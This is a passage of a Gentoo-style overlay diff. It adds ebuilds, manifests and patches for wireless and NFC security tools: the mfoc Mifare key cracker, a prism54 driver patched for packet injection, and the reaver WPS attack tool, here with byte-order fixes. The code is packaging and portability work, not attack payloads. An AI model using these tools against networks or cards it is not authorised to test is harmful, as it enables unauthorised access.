+ // "Invalid received frame" AKA EINVRXFRAM, usual means we are
+ // authenticated on a sector but the requested MIFARE cmd (read, write)
+diff -Nru mfoc-0.10.2/src//nfc-utils.c mfoc/src//nfc-utils.c
+--- mfoc-0.10.2/src//nfc-utils.c 2011-04-04 12:01:33.000000000 +0200
++++ mfoc/src//nfc-utils.c 2012-02-11 02:02:27.028185737 +0100
+@@ -608,6 +608,51 @@
+ }
+
+ void
++print_nfc_iso14443bi_info (const nfc_iso14443bi_info_t nii, bool verbose)
++{
++ printf (" DIV: ");
++ print_hex (nii.abtDIV, 4);
++ if (verbose) {
++ int version = (nii.btVerLog & 0x1e)>>1;
++ printf (" Software Version: ");
++ if (version == 15) {
++ printf ("Undefined\n");
++ } else {
++ printf ("%i\n", version);
++ }
++
++ if ((nii.btVerLog & 0x80) && (nii.btConfig & 0x80)){
++ printf (" Wait Enable: yes");
++ }
++ }
++ if ((nii.btVerLog & 0x80) && (nii.btConfig & 0x40)) {
++ printf (" ATS: ");
++ print_hex (nii.abtAtr, nii.szAtrLen);
++ }
++}
++
++void
++print_nfc_iso14443b2sr_info (const nfc_iso14443b2sr_info_t nsi, bool verbose)
++{
++ (void) verbose;
++ printf (" UID: ");
++ print_hex (nsi.abtUID, 8);
++}
++
++void
++print_nfc_iso14443b2ct_info (const nfc_iso14443b2ct_info_t nci, bool verbose)
++{
++ (void) verbose;
++ uint32_t uid;
++ uid = (nci.abtUID[3] << 24) + (nci.abtUID[2] << 16) + (nci.abtUID[1] << 8) + nci.abtUID[0];
++ printf (" UID: ");
++ print_hex (nci.abtUID, sizeof(nci.abtUID));
++ printf (" UID (decimal): %010u\n", uid);
++ printf (" Product Code: %02X\n", nci.btProdCode);
++ printf (" Fab Code: %02X\n", nci.btFabCode);
++}
++
++void
+ print_nfc_dep_info (const nfc_dep_info_t ndi, bool verbose)
+ {
+ (void) verbose;
+@@ -651,8 +696,7 @@
+ strcpy (pndd->pcDriver, strtok (buffer, ":"));
+
+ // Port.
+- pndd->pcPort = (char *) malloc (256);
+- strcpy (pndd->pcPort, strtok (NULL, ":"));
++ strcpy (pndd->acPort, strtok (NULL, ":"));
+
+ // Speed.
+ sscanf (strtok (NULL, ":"), "%u", &pndd->uiSpeed);
+@@ -712,6 +756,18 @@
+ printf ("ISO/IEC 14443-4B (%s) target:\n", str_nfc_baud_rate(nt.nm.nbr));
+ print_nfc_iso14443b_info (nt.nti.nbi, verbose);
+ break;
++ case NMT_ISO14443BI:
++ printf ("ISO/IEC 14443-4B' (%s) target:\n", str_nfc_baud_rate(nt.nm.nbr));
++ print_nfc_iso14443bi_info (nt.nti.nii, verbose);
++ break;
++ case NMT_ISO14443B2SR:
++ printf ("ISO/IEC 14443-2B ST SRx (%s) target:\n", str_nfc_baud_rate(nt.nm.nbr));
++ print_nfc_iso14443b2sr_info (nt.nti.nsi, verbose);
++ break;
++ case NMT_ISO14443B2CT:
++ printf ("ISO/IEC 14443-2B ASK CTx (%s) target:\n", str_nfc_baud_rate(nt.nm.nbr));
++ print_nfc_iso14443b2ct_info (nt.nti.nci, verbose);
++ break;
+ case NMT_DEP:
+ printf ("D.E.P. (%s) target:\n", str_nfc_baud_rate(nt.nm.nbr));
+ print_nfc_dep_info (nt.nti.ndi, verbose);
diff --git a/net-wireless/mfoc/mfoc-0.10.2.ebuild b/net-wireless/mfoc/mfoc-0.10.2.ebuild
new file mode 100644
index 00000000..e5cfe04e
--- /dev/null
+++ b/net-wireless/mfoc/mfoc-0.10.2.ebuild
@@ -0,0 +1,28 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=3
+
+inherit eutils autotools
+
+DESCRIPTION="Mifare Classic Offline Cracker"
+HOMEPAGE="https://code.google.com/p/nfc-tools/wiki/mfoc"
+SRC_URI="https://nfc-tools.googlecode.com/files/mfoc-0.10.2.tar.gz"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64"
+IUSE=""
+
+DEPEND=""
+RDEPEND="${DEPEND}"
+
+src_prepare() {
+ epatch "${FILESDIR}"/${PN}-libnfc-1.5.1.patch || die
+ eautoreconf
+}
+
+src_install() {
+ DESTDIR="${D}" emake install || die
+}
diff --git a/net-wireless/nfcd/Manifest b/net-wireless/nfcd/Manifest
new file mode 100644
index 00000000..96f6d3f7
--- /dev/null
+++ b/net-wireless/nfcd/Manifest
@@ -0,0 +1 @@
+EBUILD nfcd-9999.ebuild 594 RMD160 a6943b9f5f2292e86ee46819b96a5e0a846b3274 SHA1 8243c5dd876cb14a64215f25480f5c390556b5ea SHA256 9fb7ad7c8d90883cb857a161b9b2dd0a29ba1abcd38bd350e278e5ac15dca781
diff --git a/net-wireless/nfcd/nfcd-9999.ebuild b/net-wireless/nfcd/nfcd-9999.ebuild
new file mode 100644
index 00000000..38a25e14
--- /dev/null
+++ b/net-wireless/nfcd/nfcd-9999.ebuild
@@ -0,0 +1,27 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=3
+
+inherit cmake-utils subversion
+DESCRIPTION="a daemon which access NFC Devices and Targets"
+HOMEPAGE="https://code.google.com/p/nfc-tools/wiki/nfcd"
+SRC_URI=""
+ESVN_REPO_URI="http://nfc-tools.googlecode.com/svn/trunk/nfcd"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64"
+IUSE=""
+
+DEPEND="dev-libs/libndev
+ net-wireless/libfreefare
+ dev-libs/libnfc"
+RDEPEND="${DEPEND}"
+
+src_install() {
+ cmake-utils_src_install
+ insinto /etc/dbus-1/system.d/
+ doins nfcd.conf || die
+}
diff --git a/net-wireless/op25/Manifest b/net-wireless/op25/Manifest
new file mode 100644
index 00000000..1208f361
--- /dev/null
+++ b/net-wireless/op25/Manifest
@@ -0,0 +1 @@
+EBUILD op25-9999.ebuild 1347 SHA256 02e2e0543124bb358efe493ef8a8502aeac9bcddb8eb92125aa8f951528b9f85 SHA512 46e7fabf56aee6a899e54a30954085eabcdc82c00fdd9f03eaace704138bb2e2acef29ddf8dedbfe2d9eb4db261d785f0516235b019356d80c3a97b7d92ff14b WHIRLPOOL 2622e6c2ee06a96fe402952202d3124bb2d712d1ee67f707db713ba90632f64fcc7ea7ead80448a2613caceeb4ad27db4d344b948371105de61b8c2efd5d21db
diff --git a/net-wireless/op25/op25-9999.ebuild b/net-wireless/op25/op25-9999.ebuild
new file mode 100644
index 00000000..716f0d91
--- /dev/null
+++ b/net-wireless/op25/op25-9999.ebuild
@@ -0,0 +1,76 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+PYTHON_DEPEND="2"
+
+inherit subversion autotools python
+
+DESCRIPTION="software-defined analyzer for APCO P25 signals"
+HOMEPAGE="http://op25.osmocom.org/wiki"
+ESVN_REPO_URI="http://op25.osmocom.org/svn/trunk"
+
+LICENSE="GPL"
+SLOT="0"
+KEYWORDS="-*"
+IUSE=""
+
+DEPEND="net-wireless/gnuradio
+ sci-libs/itpp
+ dev-libs/boost
+ net-libs/libpcap"
+RDEPEND="${DEPEND}"
+
+pkg_setup() {
+ python_set_active_version 2
+ python_pkg_setup
+}
+
+src_prepare() {
+ cd "${S}"/blocks
+ #eautoreconf
+ ./bootstrap
+
+ cd "${S}"/imbe_vocoder
+ #eautoreconf
+ ./bootstrap
+
+ cd "${S}"/repeater
+ #eautoreconf
+ ./bootstrap
+}
+
+src_configure() {
+ cd "${S}"/blocks
+ econf
+
+ cd "${S}"/imbe_vocoder
+ econf
+
+ cd "${S}"/repeater
+ econf
+}
+src_compile() {
+ cd "${S}"/blocks
+ sed -i 's#-I$(GNURADIO_CORE_INCLUDEDIR)/swig#-I$(GNURADIO_CORE_INCLUDEDIR)/swig -I$(includedir)/gruel/swig#' Makefile.common
+ emake
+
+ cd "${S}"/imbe_vocoder
+ emake
+
+ cd "${S}"/repeater
+ sed -i 's#-I$(GNURADIO_CORE_INCLUDEDIR)/swig#-I$(GNURADIO_CORE_INCLUDEDIR)/swig -I$(includedir)/gruel/swig#' Makefile.common
+ emake
+}
+src_install() {
+ cd "${S}"/blocks
+ emake DESTDIR="${ED}" install
+
+ cd "${S}"/imbe_vocoder
+ emake DESTDIR="${ED}" install
+
+ cd "${S}"/repeater
+ emake DESTDIR="${ED}" install
+}
diff --git a/net-wireless/prism54/ChangeLog b/net-wireless/prism54/ChangeLog
new file mode 100644
index 00000000..737b8ac1
--- /dev/null
+++ b/net-wireless/prism54/ChangeLog
@@ -0,0 +1,49 @@
+# ChangeLog for net-wireless/prism54
+# Copyright 2000-2005 Gentoo Foundation; Distributed under the GPL v2
+# $Header: /root/portage/net-wireless/prism54/ChangeLog,v 1.1.1.1 2006/03/22 23:30:35 grimmlin Exp $
+
+*prism54-20050724
+
+ 22 mar 2006; Michael Zanetta <grimmlin@pentoo.ch>
+ prism54-20050724.ebuild: Added injection patch,
+ removed version check
+ files/prism54-svn-20050724.patch: Added injection patch
+
+ 04 Jul 2005; Stefan Schweizer <genstef@gentoo.org>
+ prism54-20050125.ebuild:
+ sys-apps/pcmcia-cs -> virtual/pcmcia(linux-mod.eclass)
+
+*prism54-20050125 (25 Jan 2005)
+
+ 25 Jan 2005; Stefan Schweizer <genstef@gentoo.org>
+ -prism54-20040208.ebuild, +prism54-20050125.ebuild:
+ Version bump thanks to Scott Paul Robertson <spr5@email.byu.edu> and Josh
+ Nichols <nichoj@rpi.edu> in bug 71632
+
+ 03 Jan 2005; Stefan Schweizer <genstef@gentoo.org>
+ prism54-20040208.ebuild:
+ Adding block to avoid file collision with prism54-firmware
+
+ 02 Jan 2005; Daniel Drake <dsd@gentoo.org> prism54-20040208.ebuild:
+ Change virtual/kernel to virtual/linux-sources
+
+ 07 Jun 2004; Aron Griffis <agriffis@gentoo.org> prism54-20040208.ebuild:
+ Fix typo and check
+
+ 24 Feb 2004; Peter Johanson <latexer@gentoo.org> prism54-20040208.ebuild:
+ Fixed the location of the firmware file. bug #41956
+
+ 09 Feb 2004; Peter Johanson <latexer@gentoo.org> prism54-20040208.ebuild:
+ Change installation location to where prism54 people put it.
+
+ 08 Feb 2004; Peter Johanson <latexer@gentoo.org> prism54-20040208.ebuild:
+ Added wireless-tools RDEPEND and info about module versioning.
+
+*prism54-20040208 (08 Feb 2004)
+
+ 08 Feb 2004; Peter Johanson <latexer@gentoo.org> metadata.xml,
+ prism54-20040208.ebuild:
+ Initial commit. Thanks to all in bug #40574 for the help. For now, not
+ mirroring the firmware image until we know if we can. As usual, disable
+ sandbox to emerge with 2.6 kernels until bug #32737 is resolved.
+
diff --git a/net-wireless/prism54/Manifest b/net-wireless/prism54/Manifest
new file mode 100644
index 00000000..8b8a4139
--- /dev/null
+++ b/net-wireless/prism54/Manifest
@@ -0,0 +1,5 @@
+AUX prism54-svn-20050724.patch 459 RMD160 b17c8f93fbe41a36f447414a58d91ee5c95bcc4d SHA1 4cc5a436f228940ab7fd453d0dd56e1f19a9f756 SHA256 fab08b80be596aee2b7a63790733f12a2355e3a05c57baa2e9017d897547f3fc
+DIST prism54-svn-20050724.tgz 92567 RMD160 fb6296fa508deb432997b3f0a92e5e069682bc52 SHA1 b1f8d369f8fd0ecadcac8e8c9c2632cd8f59b834 SHA256 bf988fe0d5fb400aa66478f5277e0e4438ac74ebe0724cdf9aaf45d4a8d6c9e0
+EBUILD prism54-20050724.ebuild 1511 RMD160 02c0a48a9d20b0d395f04169e071593be8fe7ffb SHA1 b9fe2d51af46002aada318a00d606592b4ca1bd5 SHA256 965e3256012d1aba92812f457d1b7ff93987d422d7270cce33f5898c93d97704
+MISC ChangeLog 1920 RMD160 422d421f8f15a530d293ea42eda014d54624c84d SHA1 71ed2c2896de4404acceb76d243030f09496cf0a SHA256 b787085201ad9f55f17321aa20d5dc977514a6f8016c9685af657c395bf5d4d3
+MISC metadata.xml 417 RMD160 9bcd8b5bc8b9ac5ace586a62a0c00b8df0d4d574 SHA1 4bccfbc845c5560cc937c0421a30a22a77f17f53 SHA256 3b334668cd4186209045d3ca8ebac10e0de886c6eff6af4a722f6f27104dc983
diff --git a/net-wireless/prism54/files/digest-prism54-20050724 b/net-wireless/prism54/files/digest-prism54-20050724
new file mode 100644
index 00000000..9fb0179f
--- /dev/null
+++ b/net-wireless/prism54/files/digest-prism54-20050724
@@ -0,0 +1,3 @@
+MD5 898440160410baa17d0bdf51439a1ee6 prism54-svn-20050724.tgz 92567
+RMD160 fb6296fa508deb432997b3f0a92e5e069682bc52 prism54-svn-20050724.tgz 92567
+SHA256 bf988fe0d5fb400aa66478f5277e0e4438ac74ebe0724cdf9aaf45d4a8d6c9e0 prism54-svn-20050724.tgz 92567
diff --git a/net-wireless/prism54/files/prism54-svn-20050724.patch b/net-wireless/prism54/files/prism54-svn-20050724.patch
new file mode 100755
index 00000000..aa15cb4a
--- /dev/null
+++ b/net-wireless/prism54/files/prism54-svn-20050724.patch
@@ -0,0 +1,13 @@
+diff -ur ../prism54-svn-20050724/ksrc/islpci_dev.c ./ksrc/islpci_dev.c
+--- ../prism54-svn-20050724/ksrc/islpci_dev.c 2005-03-08 16:32:34.000000000 +0100
++++ ./ksrc/islpci_dev.c 2005-07-26 18:56:40.000000000 +0200
+@@ -758,9 +758,6 @@
+ pci_unmap_single(priv->pdev, buf->pci_addr,
+ MGMT_FRAME_SIZE, PCI_DMA_FROMDEVICE);
+ buf->pci_addr = 0;
+- if (buf->skb)
+- dev_kfree_skb(buf->skb);
+- buf->skb = NULL;
+ }
+
+ /* clean up data rx buffers */
diff --git a/net-wireless/prism54/metadata.xml b/net-wireless/prism54/metadata.xml
new file mode 100644
index 00000000..fb5c54c1
--- /dev/null
+++ b/net-wireless/prism54/metadata.xml
@@ -0,0 +1,10 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>mobile</herd>
+<maintainer>
+ <email>latexer@gentoo.org</email>
+ <name>Peter Johanson</name>
+ <description>I don't own any cards with this chipset yet. Feel free to send me one if you want this package more actively maintained by yours truly.</description>
+</maintainer>
+</pkgmetadata>
diff --git a/net-wireless/prism54/prism54-20050724.ebuild b/net-wireless/prism54/prism54-20050724.ebuild
new file mode 100644
index 00000000..7db6c339
--- /dev/null
+++ b/net-wireless/prism54/prism54-20050724.ebuild
@@ -0,0 +1,48 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /root/portage/net-wireless/prism54/prism54-20050724.ebuild,v 1.1.1.1 2006/03/22 23:30:35 grimmlin Exp $
+
+EAPI="2"
+
+inherit linux-mod
+
+MY_P=${P/prism54-/prism54-svn-}
+S=${WORKDIR}/${MY_P}
+DESCRIPTION="Driver for Intersil Prism GT / Prism Duette wireless chipsets with injection patch"
+HOMEPAGE="http://prism54.org/"
+SRC_URI="http://www.pentoo.ch/distfiles/${MY_P}.tgz"
+LICENSE="GPL-2"
+KEYWORDS="~x86"
+IUSE="pcmcia"
+RDEPEND="net-wireless/prism54-firmware
+ net-wireless/wireless-tools"
+
+MODULE_NAMES="prism54(net:${S}/ksrc)"
+BUILD_PARAMS="KVER=${KV_FULL} KDIR=${KV_DIR}"
+BUILD_TARGETS="modules"
+
+CONFIG_CHECK="!PRISM54 NET_RADIO FW_LOADER"
+PRISM54_ERROR="You need prism54-firmware for the in-kernel driver or deselect
+the in-kernel driver to use the (probably older) driver from this ebuild."
+NET_RADIO_ERROR='You should enable "Wireless LAN drivers (non-hamradio) &
+Wireless Extensions"[CONFIG_NET_RADIO] in your kernel config'
+FW_LOADER_ERROR="Make sure you have CONFIG_FW_LOADER enabled in your kernel."
+
+use pcmcia && CONFIG_CHECK="${CONFIG_CHECK} PCMCIA CARDBUS"
+PCMCIA_ERROR=CARDBUS_ERROR="General setup --->
+ PCMCIA/CardBus support --->
+ PCMCIA/CardBus support (m or y)
+ [*] CardBus support (Important!)"
+
+pkg_setup() {
+ linux-mod_pkg_setup
+}
+
+src_prepare() {
+ epatch "${FILESDIR}"/prism54-svn-20050724.patch
+}
+
+src_install() {
+ linux-mod_src_install
+ dodoc README ksrc/ChangeLog
+}
diff --git a/net-wireless/reaver/ChangeLog b/net-wireless/reaver/ChangeLog
new file mode 100644
index 00000000..ba0bca66
--- /dev/null
+++ b/net-wireless/reaver/ChangeLog
@@ -0,0 +1,10 @@
+# ChangeLog for net-wireless/reaver
+# Copyright 1999-2012 Gentoo Foundation; Distributed under the GPL v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/reaver/ChangeLog,v 1.1 2012/05/15 19:39:11 maksbotan Exp $
+
+*reaver-1.4 (15 May 2012)
+
+ 15 May 2012; Maxim Koltsov <maksbotan@gentoo.org> +metadata.xml,
+ +reaver-1.4.ebuild:
+ Add net-wireless/reaver, thanks to Oleg Kravchenko
+
diff --git a/net-wireless/reaver/Manifest b/net-wireless/reaver/Manifest
new file mode 100644
index 00000000..67732757
--- /dev/null
+++ b/net-wireless/reaver/Manifest
@@ -0,0 +1,12 @@
+AUX 0001-wpscrack-big-endian-fixes.patch 21117 SHA256 dd44a966424a5c207db5658374ce68232a7a3cacdcce90772f7c610c441c7d26 SHA512 e6de886ba2f63cee8fd9324c512e5060164fe5eef35633b105ccb5aea11bbf1f3d43ca5b84a81b6312085d03be098945d231655dab4beb5719f45abfdb128f17 WHIRLPOOL adf26ab9c6ee24c44556e77d82fe42d869d44ac42f36becc4f6e95af0de680fa23de6caf81c612af0d723f20a585ea242d1fb1fba97efee952350d465b06001b
+AUX 0002-Use-the-current-directory-for-storing-and-loading-se.patch 1672 SHA256 8decc8453936f10df1ec5af8ce5322c527853ed7fde3fccf2996d92f64ecc691 SHA512 3fa5ba7e0b3784bfe4d28efa63dd9ef64d496c33d6538d38fc867c669ac978d1a4512334a1103eb9bf0f898e12b839dbe287bddad6238f54979b17ba0ffd095e WHIRLPOOL a944fecee470fc57fe2211a335d08ead2a7976839b7da2159b49929e93c1d2027ca64b0ad8ed49bb4ceeed67ed1407f7a1d626316ca536d1972aeb4e540e22a6
+AUX 0003-wash-wpsmon-use-less-useless-spaces-in-output-to-fit.patch 1604 SHA256 02ecd27516806917d2970d67f408139f50644bb3bdfed94300ea4703e295b468 SHA512 8960223cf5f84a7b999b2b79d195d2b5e690dd66338f97549a931df9b4156823190b03f37702317fb3af6aac91712b46866dba955b0ee60f6dd4a3630f1b7fd5 WHIRLPOOL 8f4335d3786e893ceedf6a6949903b6fecd29566746ccb4fd95e57236195ea23fa68548e769d1e1cbd3ac2e8cfca2167b99242d7a3a086460f47676ce9191df4
+AUX 0004-wash-probe-request.patch 687 SHA256 66b27d18353ba85612dfd4806a730ca004027a86b80de5bc8a0c869800e429a9 SHA512 cdf1bf370b2915dd87afe93aa8df4db0ad9124eb076ce1398a384afe1b5e66c9499c891857b21ec7897d0d52a1fea0ad635163d796eca981db7956d8bb7c7c6e WHIRLPOOL ae381d3598721151beed7eef46678e0208baf64905bb1200eda547be7d500ea7d6a9cd27033385982cea0b117bca167848f6c5fd93808000ec792f95b10a04e8
+AUX 0005-soreau-show-status-r2.patch 2378 SHA256 ff0b84b2c31fe69a990a2a3b2a161fd83d6b05d9fafc27cbe61d76e2862c5f82 SHA512 558c1c393276bb5c65ef8a32e9b0cdbd1cf55c08a11ddcfdd73f90a901a709f2306d89f2eeab509f97478f9807401784fcb1bad0159c97b1f64f85701cfbab6a WHIRLPOOL c6b180ed58ae5bfbfa62ffbfef2ba812c0d8ee54a52520c98411a0aad4fac6ad2ea9f9a76663e6781af00f324573c52b4381157cc9867ca1a1db505b66821523
+AUX 0005-soreau-show-status.patch 2378 SHA256 0c7ef676d989139b599da93de20586bc78a8f18208696ff3b76144791720fbe7 SHA512 9211353efe8c47defe924b2afce2f3412089ce810bbe48e8dbf47b7a648972d09ef74b9d1ca2de907975bb28b5aace70d86c1656b326e65d0298f023a5bb0936 WHIRLPOOL cda5ddcc3a976b2d9519ffe4ecc2c870caebd4a5daa62f6ce130e84338e843eb01efb36dce0c63ebb1197f4daecd99921cca9473809a94e5006be73f2f6acb7f
+DIST reaver-1.4.tar.gz 766603 SHA256 add3050a4a05fe0ab6bfb291ee2de8e9b8a85f1e64ced93ee27a75744954b22d SHA512 59f2d6f8aa6228988ce5d1c102d9a48b2a23e582ff3d9afe39d7c9717b7e4be059362fdd21a3e5f5d59948df1a7616acdaa6df20f139e9c5aa9bd673f764dfbc WHIRLPOOL 5b8a91fe97bf08d6dc544b41dd04baedb9488d574e9a0695d8babeb34a9fa5acc81cfc86899c600b12b445cb83887dfbb18517f2ebbd5d34ab27e8c9ce428e38
+EBUILD reaver-1.4-r1.ebuild 840 SHA256 81c5f8f881ed104f4aa3e3e9128db188735e1679eb1e311a34c160281886efbf SHA512 4beab059d5ac2de4bd45e7382f9e67c1387fd984c8dba6efe0789528123b665b29d6f3874ad2dd4a4c4366a1c4d0fc3f06a09da158ed91aef5ea56390c4b1a2d WHIRLPOOL cb8016ade89e0f0b4b72be9507552305a5496c650555e34b016628f1841bcb26d9474be955871875cb9c535b07825b46f8501b65060258b6fb625576164e239c
+EBUILD reaver-1.4-r2.ebuild 933 SHA256 33130d270a2862b91f3893d9a91bf4bf7cea4368357c7fc38205330b69a0a57a SHA512 2653ed7172b1f4fd068ed75c9adaa0a6d3161e014c5a65fdc35f598683b0e97bdddeca7635dde1f0b0b03f7c431b07a09d1770132c0c5199cd0a37c6bc9f5879 WHIRLPOOL 82bb0adf3f85ba886e389bcb2708d1a942cb22a8c0ff7529d0044c6ebd87c6b1b5eaea89a79571120d4a0f0ba469732009f0cc0f37d41fb8c7971bb630fe2681
+EBUILD reaver-1.4-r3.ebuild 954 SHA256 2ba94abd0d367d5faa1283490b4e92b857e2389c26b5f5d980c39d26064a233e SHA512 d2124d31311aad3779f3ceba76ef649c72c63d5f57051d1db31ea57b4eaa8330c04bd605ae07bb8c9beca72f90386d19e0d576fc8093342bb3e59b7f6f9d8d31 WHIRLPOOL 9a9af4a366fc6f7d6e78da4e26975467461327838fc207ea6234a9b5a22cfd9cbcb365352b3985501150cd1e1ce80dc9a3fa8e77a01cedd5ce953370b58c59c7
+MISC ChangeLog 384 SHA256 75ed384fee5277726aba559464ada1975a27228860de9856bb8ea5b1d2f0e610 SHA512 46e5da5e6b98546f0f4ef77af00fb48ef0a293bc6935648e63a571caae6d605b20eaf3ea9c5763fa4848a7a6343fb047820e46925cf56bcb1063c35d304672bb WHIRLPOOL 3e0eb8f278eb5c0e78618a1da83767dc9448aab6aedd7064b5fecc4bb75fc0ad657750e74f0adc1953cb634d0f18b45b2c9f865f9fcb99a7536d12d5dfb371ce
+MISC metadata.xml 249 SHA256 47ff8178840f738d37ca36d24fd9ec2823cd324e7510fc69a25621824f69e302 SHA512 fbca9bfde0fceeb77572d70902f1c76e4e132f7c0717a9cf4d4d1da37fafa08fd6d2df521a00fc6a9595f21141a6c8a21366afbadb950eb54f8480b498a41e65 WHIRLPOOL e0254e45cbd140b5ff3592720a06479367f3d769ef7ad3d7a0766f2db22706edebbf974b5926cef6add2b55e6bad0f698b9ec316c7a9fa53cdbee12bd7e13121
diff --git a/net-wireless/reaver/files/0001-wpscrack-big-endian-fixes.patch b/net-wireless/reaver/files/0001-wpscrack-big-endian-fixes.patch
new file mode 100644
index 00000000..da76c2e3
--- /dev/null
+++ b/net-wireless/reaver/files/0001-wpscrack-big-endian-fixes.patch
@@ -0,0 +1,565 @@
+From 4e7af9f022996cb0a03b30f6af265b757807dfa2 Mon Sep 17 00:00:00 2001
+From: Paul Fertser <fercerpav@gmail.com>
+Date: Wed, 27 Jun 2012 17:44:55 +0400
+Subject: [PATCH 1/3] wpscrack: big-endian fixes
+
+This should fix access to the radiotap, 802.11, LLC/SNAP and WFA
+headers' fields. Run-time tested on an ar71xx BE system.
+
+Signed-off-by: Paul Fertser <fercerpav@gmail.com>
+---
+ src/80211.c | 65 +++++++++++++++++++------------
+ src/builder.c | 23 +++++------
+ src/defs.h | 116 +++++++++++++++++++++++++++++++++++++++-----------------
+ src/exchange.c | 23 ++++++-----
+ src/wpsmon.c | 13 ++++--
+ 5 files changed, 151 insertions(+), 89 deletions(-)
+
+diff --git a/src/80211.c b/src/80211.c
+index c2aff59..19f1e92 100644
+--- a/src/80211.c
++++ b/src/80211.c
+@@ -90,17 +90,19 @@ void read_ap_beacon()
+ if(header.len >= MIN_BEACON_SIZE)
+ {
+ rt_header = (struct radio_tap_header *) radio_header(packet, header.len);
+- frame_header = (struct dot11_frame_header *) (packet + rt_header->len);
+-
++ size_t rt_header_len = __le16_to_cpu(rt_header->len);
++ frame_header = (struct dot11_frame_header *) (packet + rt_header_len);
++
+ if(is_target(frame_header))
+ {
+- if(frame_header->fc.type == MANAGEMENT_FRAME && frame_header->fc.sub_type == SUBTYPE_BEACON)
++ if((frame_header->fc & __cpu_to_le16(IEEE80211_FCTL_FTYPE | IEEE80211_FCTL_STYPE)) ==
++ __cpu_to_le16(IEEE80211_FTYPE_MGMT | IEEE80211_STYPE_BEACON))
+ {
+- beacon = (struct beacon_management_frame *) (packet + rt_header->len + sizeof(struct dot11_frame_header));
++ beacon = (struct beacon_management_frame *) (packet + rt_header_len + sizeof(struct dot11_frame_header));
+ set_ap_capability(beacon->capability);
+
+ /* Obtain the SSID and channel number from the beacon packet */
+- tag_offset = rt_header->len + sizeof(struct dot11_frame_header) + sizeof(struct beacon_management_frame);
++ tag_offset = rt_header_len + sizeof(struct dot11_frame_header) + sizeof(struct beacon_management_frame);
+ channel = parse_beacon_tags(packet, header.len);
+
+ /* If no channel was manually specified, switch to the AP's current channel */
+@@ -135,29 +137,31 @@ int8_t signal_strength(const u_char *packet, size_t len)
+ {
+ header = (struct radio_tap_header *) packet;
+
+- if((header->flags & SSI_FLAG) == SSI_FLAG)
++ uint32_t flags = __le32_to_cpu(header->flags);
++
++ if((flags & SSI_FLAG) == SSI_FLAG)
+ {
+- if((header->flags & TSFT_FLAG) == TSFT_FLAG)
++ if((flags & TSFT_FLAG) == TSFT_FLAG)
+ {
+ offset += TSFT_SIZE;
+ }
+
+- if((header->flags & FLAGS_FLAG) == FLAGS_FLAG)
++ if((flags & FLAGS_FLAG) == FLAGS_FLAG)
+ {
+ offset += FLAGS_SIZE;
+ }
+
+- if((header->flags & RATE_FLAG) == RATE_FLAG)
++ if((flags & RATE_FLAG) == RATE_FLAG)
+ {
+ offset += RATE_SIZE;
+ }
+
+- if((header->flags & CHANNEL_FLAG) == CHANNEL_FLAG)
++ if((flags & CHANNEL_FLAG) == CHANNEL_FLAG)
+ {
+ offset += CHANNEL_SIZE;
+ }
+
+- if((header->flags & FHSS_FLAG) == FHSS_FLAG)
++ if((flags & FHSS_FLAG) == FHSS_FLAG)
+ {
+ offset += FHSS_FLAG;
+ }
+@@ -196,11 +200,13 @@ int is_wps_locked()
+ if(header.len >= MIN_BEACON_SIZE)
+ {
+ rt_header = (struct radio_tap_header *) radio_header(packet, header.len);
+- frame_header = (struct dot11_frame_header *) (packet + rt_header->len);
++ size_t rt_header_len = __le16_to_cpu(rt_header->len);
++ frame_header = (struct dot11_frame_header *) (packet + rt_header_len);
+
+ if(memcmp(frame_header->addr3, get_bssid(), MAC_ADDR_LEN) == 0)
+ {
+- if(frame_header->fc.type == MANAGEMENT_FRAME && frame_header->fc.sub_type == SUBTYPE_BEACON)
++ if((frame_header->fc & __cpu_to_le16(IEEE80211_FCTL_FTYPE | IEEE80211_FCTL_STYPE)) ==
++ __cpu_to_le16(IEEE80211_FTYPE_MGMT | IEEE80211_STYPE_BEACON))
+ {
+ if(parse_wps_parameters(packet, header.len, &wps))
+ {
+@@ -411,24 +417,30 @@ int associate_recv_loop()
+ if(header.len >= MIN_AUTH_SIZE)
+ {
+ rt_header = (struct radio_tap_header *) radio_header(packet, header.len);
+- dot11_frame = (struct dot11_frame_header *) (packet + rt_header->len);
++ size_t rt_header_len = __le16_to_cpu(rt_header->len);
++ dot11_frame = (struct dot11_frame_header *) (packet + rt_header_len);
+
+ if((memcmp(dot11_frame->addr3, get_bssid(), MAC_ADDR_LEN) == 0) &&
+ (memcmp(dot11_frame->addr1, get_mac(), MAC_ADDR_LEN) == 0))
+ {
+- if(dot11_frame->fc.type == MANAGEMENT_FRAME)
++ if((dot11_frame->fc & __cpu_to_le16(IEEE80211_FCTL_FTYPE)) ==
++ __cpu_to_le16(IEEE80211_FTYPE_MGMT))
+ {
+- auth_frame = (struct authentication_management_frame *) (packet + sizeof(struct dot11_frame_header) + rt_header->len);
+- assoc_frame = (struct association_response_management_frame *) (packet + sizeof(struct dot11_frame_header) + rt_header->len);
++ auth_frame = (struct authentication_management_frame *) (packet + sizeof(struct dot11_frame_header) + rt_header_len);
++ assoc_frame = (struct association_response_management_frame *) (packet + sizeof(struct dot11_frame_header) + rt_header_len);
+
+ /* Did we get an authentication packet with a successful status? */
+- if((dot11_frame->fc.sub_type == SUBTYPE_AUTHENTICATION) && (auth_frame->status == AUTHENTICATION_SUCCESS))
++ if((dot11_frame->fc & __cpu_to_le16(IEEE80211_FCTL_STYPE)) ==
++ __cpu_to_le16(IEEE80211_STYPE_AUTH)
++ && (auth_frame->status == __cpu_to_le16(AUTHENTICATION_SUCCESS)))
+ {
+ ret_val = AUTH_OK;
+ break;
+ }
+ /* Did we get an association packet with a successful status? */
+- else if((dot11_frame->fc.sub_type == SUBTYPE_ASSOCIATION) && (assoc_frame->status == ASSOCIATION_SUCCESS))
++ else if((dot11_frame->fc & __cpu_to_le16(IEEE80211_FCTL_STYPE)) ==
